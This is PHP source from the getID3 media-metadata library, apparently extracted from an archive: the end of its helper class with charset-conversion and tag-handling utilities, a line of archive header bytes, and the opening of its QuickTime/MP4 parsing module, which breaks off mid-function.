	 * UTF-16LE => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_iso88591($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16 (BOM) => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_iso88591($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
		}
		return $string;
	}

	/**
	 * UTF-16 (BOM) => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_utf8($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
		}
		return $string;
	}

	/**
	 * @param string $in_charset
	 * @param string $out_charset
	 * @param string $string
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function iconv_fallback($in_charset, $out_charset, $string) {

		if ($in_charset == $out_charset) {
			return $string;
		}

		// mb_convert_encoding() available
		if (function_exists('mb_convert_encoding')) {
			if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) {
				// if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM
				$string = "\xFF\xFE".$string;
			}
			if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) {
				if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) {
					// if string consists of only BOM, mb_convert_encoding will return the BOM unmodified
					return '';
				}
			}
			if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}
			return $string;

		// iconv() available
		} elseif (function_exists('iconv')) {
			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}

			// iconv() may sometimes fail with "illegal character in input string" error message
			// and return an empty string, but returning the unconverted string is more useful
			return $string;
		}


		// neither mb_convert_encoding or iconv() is available
		static $ConversionFunctionList = array();
		if (empty($ConversionFunctionList)) {
			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
		}
		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
			return self::$ConversionFunction($string);
		}
		throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
	}

	/**
	 * @param mixed  $data
	 * @param string $charset
	 *
	 * @return mixed
	 */
	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
		if (is_string($data)) {
			return self::MultiByteCharString2HTML($data, $charset);
		} elseif (is_array($data)) {
			$return_data = array();
			foreach ($data as $key => $value) {
				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
			}
			return $return_data;
		}
		// integer, float, objects, resources, etc
		return $data;
	}

	/**
	 * @param string|int|float $string
	 * @param string           $charset
	 *
	 * @return string
	 */
	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
		$HTMLstring = '';

		switch (strtolower($charset)) {
			case '1251':
			case '1252':
			case '866':
			case '932':
			case '936':
			case '950':
			case 'big5':
			case 'big5-hkscs':
			case 'cp1251':
			case 'cp1252':
			case 'cp866':
			case 'euc-jp':
			case 'eucjp':
			case 'gb2312':
			case 'ibm866':
			case 'iso-8859-1':
			case 'iso-8859-15':
			case 'iso8859-1':
			case 'iso8859-15':
			case 'koi8-r':
			case 'koi8-ru':
			case 'koi8r':
			case 'shift_jis':
			case 'sjis':
			case 'win-1251':
			case 'windows-1251':
			case 'windows-1252':
				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
				break;

			case 'utf-8':
				$strlen = strlen($string);
				for ($i = 0; $i < $strlen; $i++) {
					$char_ord_val = ord($string[$i]);
					$charval = 0;
					if ($char_ord_val < 0x80) {
						$charval = $char_ord_val;
					} elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F  &&  $i+3 < $strlen) {
						$charval  = (($char_ord_val & 0x07) << 18);
						$charval += ((ord($string[++$i]) & 0x3F) << 12);
						$charval += ((ord($string[++$i]) & 0x3F) << 6);
						$charval +=  (ord($string[++$i]) & 0x3F);
					} elseif ((($char_ord_val & 0xE0) >> 5) == 0x07  &&  $i+2 < $strlen) {
						$charval  = (($char_ord_val & 0x0F) << 12);
						$charval += ((ord($string[++$i]) & 0x3F) << 6);
						$charval +=  (ord($string[++$i]) & 0x3F);
					} elseif ((($char_ord_val & 0xC0) >> 6) == 0x03  &&  $i+1 < $strlen) {
						$charval  = (($char_ord_val & 0x1F) << 6);
						$charval += (ord($string[++$i]) & 0x3F);
					}
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= htmlentities(chr($charval));
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16le':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::LittleEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16be':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::BigEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			default:
				$HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()';
				break;
		}
		return $HTMLstring;
	}

	/**
	 * @param int $namecode
	 *
	 * @return string
	 */
	public static function RGADnameLookup($namecode) {
		static $RGADname = array();
		if (empty($RGADname)) {
			$RGADname[0] = 'not set';
			$RGADname[1] = 'Track Gain Adjustment';
			$RGADname[2] = 'Album Gain Adjustment';
		}

		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
	}

	/**
	 * @param int $originatorcode
	 *
	 * @return string
	 */
	public static function RGADoriginatorLookup($originatorcode) {
		static $RGADoriginator = array();
		if (empty($RGADoriginator)) {
			$RGADoriginator[0] = 'unspecified';
			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
			$RGADoriginator[2] = 'set by user';
			$RGADoriginator[3] = 'determined automatically';
		}

		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
	}

	/**
	 * @param int $rawadjustment
	 * @param int $signbit
	 *
	 * @return float
	 */
	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
		$adjustment = (float) $rawadjustment / 10;
		if ($signbit == 1) {
			$adjustment *= -1;
		}
		return $adjustment;
	}

	/**
	 * @param int $namecode
	 * @param int $originatorcode
	 * @param int $replaygain
	 *
	 * @return string
	 */
	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
		if ($replaygain < 0) {
			$signbit = '1';
		} else {
			$signbit = '0';
		}
		$storedreplaygain = intval(round($replaygain * 10));
		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
		$gainstring .= $signbit;
		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);

		return $gainstring;
	}

	/**
	 * @param float $amplitude
	 *
	 * @return float
	 */
	public static function RGADamplitude2dB($amplitude) {
		return 20 * log10($amplitude);
	}

	/**
	 * @param string $imgData
	 * @param array  $imageinfo
	 *
	 * @return array|false
	 */
	public static function GetDataImageSize($imgData, &$imageinfo=array()) {
		if (PHP_VERSION_ID >= 50400) {
			$GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo);
			if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) {
				return false;
			}
			$GetDataImageSize['height'] = $GetDataImageSize[0];
			$GetDataImageSize['width'] = $GetDataImageSize[1];
			return $GetDataImageSize;
		}
		static $tempdir = '';
		if (empty($tempdir)) {
			if (function_exists('sys_get_temp_dir')) {
				$tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52
			}

			// yes this is ugly, feel free to suggest a better way
			if (include_once(dirname(__FILE__).'/getid3.php')) {
				$getid3_temp = new getID3();
				if ($getid3_temp_tempdir = $getid3_temp->tempdir) {
					$tempdir = $getid3_temp_tempdir;
				}
				unset($getid3_temp, $getid3_temp_tempdir);
			}
		}
		$GetDataImageSize = false;
		if ($tempfilename = tempnam($tempdir, 'gI3')) {
			if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) {
				fwrite($tmp, $imgData);
				fclose($tmp);
				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
				if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) {
					return false;
				}
				$GetDataImageSize['height'] = $GetDataImageSize[0];
				$GetDataImageSize['width']  = $GetDataImageSize[1];
			}
			unlink($tempfilename);
		}
		return $GetDataImageSize;
	}

	/**
	 * @param string $mime_type
	 *
	 * @return string
	 */
	public static function ImageExtFromMime($mime_type) {
		// temporary way, works OK for now, but should be reworked in the future
		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
	}

	/**
	 * @param array $ThisFileInfo
	 * @param bool  $option_tags_html default true (just as in the main getID3 class)
	 *
	 * @return bool
	 */
	public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) {
		// Copy all entries from ['tags'] into common ['comments']
		if (!empty($ThisFileInfo['tags'])) {

			// Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1)
			// and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets
			// To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that
			// the first entries in [comments] are the most correct and the "bad" ones (if any) come later.
			// https://github.com/JamesHeinrich/getID3/issues/338
			$processLastTagTypes = array('id3v1','riff');
			foreach ($processLastTagTypes as $processLastTagType) {
				if (isset($ThisFileInfo['tags'][$processLastTagType])) {
					// bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings
					$temp = $ThisFileInfo['tags'][$processLastTagType];
					unset($ThisFileInfo['tags'][$processLastTagType]);
					$ThisFileInfo['tags'][$processLastTagType] = $temp;
					unset($temp);
				}
			}
			foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					foreach ($tagdata as $key => $value) {
						if (!empty($value)) {
							if (empty($ThisFileInfo['comments'][$tagname])) {

								// fall through and append value

							} elseif ($tagtype == 'id3v1') {

								$newvaluelength = strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength = strlen(trim($existingvalue));
									if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
										break 2;
									}

									if (function_exists('mb_convert_encoding')) {
										if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) {
											// value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1.
											// As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character
											break 2;
										}
									}
								}

							} elseif (!is_array($value)) {

								$newvaluelength   =    strlen(trim($value));
								$newvaluelengthMB = mb_strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength   =    strlen(trim($existingvalue));
									$oldvaluelengthMB = mb_strlen(trim($existingvalue));
									if (($newvaluelengthMB == $oldvaluelengthMB) && ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) {
										// https://github.com/JamesHeinrich/getID3/issues/338
										// check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII)
										// which will usually display unrepresentable characters as "?"
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
									if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
								}

							}
							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
								$value = (is_string($value) ? trim($value) : $value);
								if (!is_int($key) && !ctype_digit($key)) {
									$ThisFileInfo['comments'][$tagname][$key] = $value;
								} else {
									if (!isset($ThisFileInfo['comments'][$tagname])) {
										$ThisFileInfo['comments'][$tagname] = array($value);
									} else {
										$ThisFileInfo['comments'][$tagname][] = $value;
									}
								}
							}
						}
					}
				}
			}

			// attempt to standardize spelling of returned keys
			if (!empty($ThisFileInfo['comments'])) {
				$StandardizeFieldNames = array(
					'tracknumber' => 'track_number',
					'track'       => 'track_number',
				);
				foreach ($StandardizeFieldNames as $badkey => $goodkey) {
					if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) {
						$ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey];
						unset($ThisFileInfo['comments'][$badkey]);
					}
				}
			}

			if ($option_tags_html) {
				// Copy ['comments'] to ['comments_html']
				if (!empty($ThisFileInfo['comments'])) {
					foreach ($ThisFileInfo['comments'] as $field => $values) {
						if ($field == 'picture') {
							// pictures can take up a lot of space, and we don't need multiple copies of them
							// let there be a single copy in [comments][picture], and not elsewhere
							continue;
						}
						foreach ($values as $index => $value) {
							if (is_array($value)) {
								$ThisFileInfo['comments_html'][$field][$index] = $value;
							} else {
								$ThisFileInfo['comments_html'][$field][$index] = str_replace('&#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
							}
						}
					}
				}
			}

		}
		return true;
	}

	/**
	 * @param string $key
	 * @param int    $begin
	 * @param int    $end
	 * @param string $file
	 * @param string $name
	 *
	 * @return string
	 */
	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {

		// Cached
		static $cache;
		if (isset($cache[$file][$name])) {
			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
		}

		// Init
		$keylength  = strlen($key);
		$line_count = $end - $begin - 7;

		// Open php file
		$fp = fopen($file, 'r');

		// Discard $begin lines
		for ($i = 0; $i < ($begin + 3); $i++) {
			fgets($fp, 1024);
		}

		// Loop thru line
		while (0 < $line_count--) {

			// Read line
			$line = ltrim(fgets($fp, 1024), "\t ");

			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
			//$keycheck = substr($line, 0, $keylength);
			//if ($key == $keycheck)  {
			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
			//	break;
			//}

			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
			$explodedLine = explode("\t", $line, 2);
			$ThisKey   = (isset($explodedLine[0]) ? $explodedLine[0] : '');
			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
			$cache[$file][$name][$ThisKey] = trim($ThisValue);
		}

		// Close and return
		fclose($fp);
		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
	}

	/**
	 * @param string $filename
	 * @param string $sourcefile
	 * @param bool   $DieOnFailure
	 *
	 * @return bool
	 * @throws Exception
	 */
	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
		global $GETID3_ERRORARRAY;

		if (file_exists($filename)) {
			if (include_once($filename)) {
				return true;
			} else {
				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
			}
		} else {
			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
		}
		if ($DieOnFailure) {
			throw new Exception($diemessage);
		} else {
			$GETID3_ERRORARRAY[] = $diemessage;
		}
		return false;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function trimNullByte($string) {
		return trim($string, "\x00");
	}

	/**
	 * @param string $path
	 *
	 * @return float|bool
	 */
	public static function getFileSizeSyscall($path) {
		$commandline = null;
		$filesize = false;

		if (GETID3_OS_ISWINDOWS) {
			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
				$filesystem = new COM('Scripting.FileSystemObject');
				$file = $filesystem->GetFile($path);
				$filesize = $file->Size();
				unset($filesystem, $file);
			} else {
				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
			}
		} else {
			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
		}
		if (isset($commandline)) {
			$output = trim(`$commandline`);
			if (ctype_digit($output)) {
				$filesize = (float) $output;
			}
		}
		return $filesize;
	}

	/**
	 * @param string $filename
	 *
	 * @return string|false
	 */
	public static function truepath($filename) {
		// 2017-11-08: this could use some improvement, patches welcome
		if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) {
			// PHP's built-in realpath function does not work on UNC Windows shares
			$goodpath = array();
			foreach (explode('/', str_replace('\\', '/', $filename)) as $part) {
				if ($part == '.') {
					continue;
				}
				if ($part == '..') {
					if (count($goodpath)) {
						array_pop($goodpath);
					} else {
						// cannot step above this level, already at top level
						return false;
					}
				} else {
					$goodpath[] = $part;
				}
			}
			return implode(DIRECTORY_SEPARATOR, $goodpath);
		}
		return realpath($filename);
	}

	/**
	 * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
	 *
	 * @param string $path A path.
	 * @param string $suffix If the name component ends in suffix this will also be cut off.
	 *
	 * @return string
	 */
	public static function mb_basename($path, $suffix = '') {
		$splited = preg_split('#/#', rtrim($path, '/ '));
		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
	}

}
PKEWd[Dc�_�_� module.audio-video.quicktime.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.quicktime.php                            //
// module for analyzing Quicktime and MP3-in-MP4 files         //
// dependencies: module.audio.mp3.php                          //
// dependencies: module.tag.id3v2.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup

class getid3_quicktime extends getid3_handler
{

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $ReturnAtomData        = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $ParseAllPossibleAtoms = false;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'quicktime';
		$info['quicktime']['hinting']    = false;
		$info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present

		$this->fseek($info['avdataoffset']);

		$offset      = 0;
		$atomcounter = 0;
		$atom_data_read_buffer_size = $info['php_memory_limit'] ? round($info['php_memory_limit'] / 4) : $this->getid3->option_fread_buffer_size * 1024; // set read buffer to 25% of PHP memory limit (if one is specified), otherwise use option_fread_buffer_size [default: 32MB]
		while ($offset < $info['avdataend']) {
			if (!getid3_lib::intValueSupported($offset)) {
				$this->error('Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions');
				break;
			}
			$this->fseek($offset);
			$AtomHeader = $this->fread(8);

			// https://github.com/JamesHeinrich/getID3/issues/382
			// Atom sizes are stored as 32-bit number in most cases, but sometimes (notably for "mdat")
			// a 64-bit value is required, in which case the normal 32-bit size field is set to 0x00000001
			// and the 64-bit "real" size value is the next 8 bytes.
			$atom_size_extended_bytes = 0;
			$atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4));
			$atomname = substr($AtomHeader, 4, 4);
			if ($atomsize == 1) {
				$atom_size_extended_bytes = 8;
				$atomsize = getid3_lib::BigEndian2Int($this->fread($atom_size_extended_bytes));
			}

			if (($offset + $atomsize) > $info['avdataend']) {
				$info['quicktime'][$atomname]['name']   = $atomname;
				$info['quicktime'][$atomname]['size']   = $atomsize;
				$info['quicktime'][$atomname]['offset'] = $offset;
				$this->error('Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)');
				return false;
			}
			if ($atomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				$info['quicktime'][$atomname]['name']   = $atomname;
				$info['quicktime'][$atomname]['size']   = $atomsize;
				$info['quicktime'][$atomname]['offset'] = $offset;
				break;
			}
			$atomHierarchy = array();
			$parsedAtomData = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize - $atom_size_extended_bytes, $atom_data_read_buffer_size)), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms);
			$parsedAtomData['name']   = $atomname;
			$parsedAtomData['size']   = $atomsize;
			$parsedAtomData['offset'] = $offset;
			if ($atom_size_extended_bytes) {
				$parsedAtomData['xsize_bytes'] = $atom_size_extended_bytes;
			}
			if (in_array($atomname, array('uuid'))) {
				@$info['quicktime'][$atomname][] = $parsedAtomData;
			} else {
				$info['quicktime'][$atomname] = $parsedAtomData;
			}

			$offset += $atomsize;
			$atomcounter++;
		}

		if (!empty($info['avdataend_tmp'])) {
			// this value is assigned to a temp value and then erased because
			// otherwise any atoms beyond the 'mdat' atom would not get parsed
			$info['avdataend'] = $info['avdataend_tmp'];
			unset($info['avdataend_tmp']);
		}

		if (isset($info['quicktime']['comments']['chapters']) && is_array($info['quicktime']['comments']['chapters']) && (count($info['quicktime']['comments']['chapters']) > 0)) {
			$durations = $this->quicktime_time_to_sample_table($info);
			for ($i = 0; $i < count($info['quicktime']['comments']['chapters']); $i++) {
				$bookmark = array();
				$bookmark['title'] = $info['quicktime']['comments']['chapters'][$i];
				if (isset($durations[$i])) {
					$bookmark['duration_sample'] = $durations[$i]['sample_duration'];
					if ($i > 0) {
						$bookmark['start_sample'] = $info['quicktime']['bookmarks'][($i - 1)]['start_sample'] + $info['quicktime']['bookmarks'][($i - 1)]['duration_sample'];
					} else {
						$bookmark['start_sample'] = 0;
					}
					if ($time_scale = $this->quicktime_bookmark_time_scale($info)) {
						$bookmark['duration_seconds'] = $bookmark['duration_sample'] / $time_scale;
						$bookmark['start_seconds']    = $bookmark['start_sample']    / $time_scale;
					}
				}
				$info['quicktime']['bookmarks'][] = $bookmark;
			}
		}

		if (isset($info['quicktime']['temp_meta_key_names'])) {
			unset($info['quicktime']['temp_meta_key_names']);
		}

		if (!empty($info['quicktime']['comments']['location.ISO6709'])) {
			// https://en.wikipedia.org/wiki/ISO_6709
			foreach ($info['quicktime']['comments']['location.ISO6709'] as $ISO6709string) {
				$ISO6709parsed = array('latitude'=>false, 'longitude'=>false, 'altitude'=>false);
				if (preg_match('#^([\\+\\-])([0-9]{2}|[0-9]{4}|[0-9]{6})(\\.[0-9]+)?([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?(([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?)?/$#', $ISO6709string, $matches)) {
					// phpcs:ignore PHPCompatibility.Lists.AssignmentOrder.Affected
					@list($dummy, $lat_sign, $lat_deg, $lat_deg_dec, $lon_sign, $lon_deg, $lon_deg_dec, $dummy, $alt_sign, $alt_deg, $alt_deg_dec) = $matches;

					if (strlen($lat_deg) == 2) {        // [+-]DD.D
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim($lat_deg, '0').$lat_deg_dec);
					} elseif (strlen($lat_deg) == 4) {  // [+-]DDMM.M
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0').$lat_deg_dec / 60);
					} elseif (strlen($lat_deg) == 6) {  // [+-]DDMMSS.S
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval((int) ltrim(substr($lat_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lat_deg, 4, 2), '0').$lat_deg_dec / 3600);
					}

					if (strlen($lon_deg) == 3) {        // [+-]DDD.D
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim($lon_deg, '0').$lon_deg_dec);
					} elseif (strlen($lon_deg) == 5) {  // [+-]DDDMM.M
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0').$lon_deg_dec / 60);
					} elseif (strlen($lon_deg) == 7) {  // [+-]DDDMMSS.S
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval((int) ltrim(substr($lon_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lon_deg, 4, 2), '0').$lon_deg_dec / 3600);
					}

					if (strlen($alt_deg) == 3) {        // [+-]DDD.D
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim($alt_deg, '0').$alt_deg_dec);
					} elseif (strlen($alt_deg) == 5) {  // [+-]DDDMM.M
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0').$alt_deg_dec / 60);
					} elseif (strlen($alt_deg) == 7) {  // [+-]DDDMMSS.S
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval((int) ltrim(substr($alt_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($alt_deg, 4, 2), '0').$alt_deg_dec / 3600);
					}

					foreach (array('latitude', 'longitude', 'altitude') as $key) {
						if ($ISO6709parsed[$key] !== false) {
							$value = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]);
							if (!isset($info['quicktime']['comments']['gps_'.$key]) || !in_array($value, $info['quicktime']['comments']['gps_'.$key])) {
								@$info['quicktime']['comments']['gps_'.$key][] = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]);
							}
						}
					}
				}
				if ($ISO6709parsed['latitude'] === false) {
					$this->warning('location.ISO6709 string not parsed correctly: "'.$ISO6709string.'", please submit as a bug');
				}
				break;
			}
		}

		if (!isset($info['bitrate']) && !empty($info['playtime_seconds'])) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) {
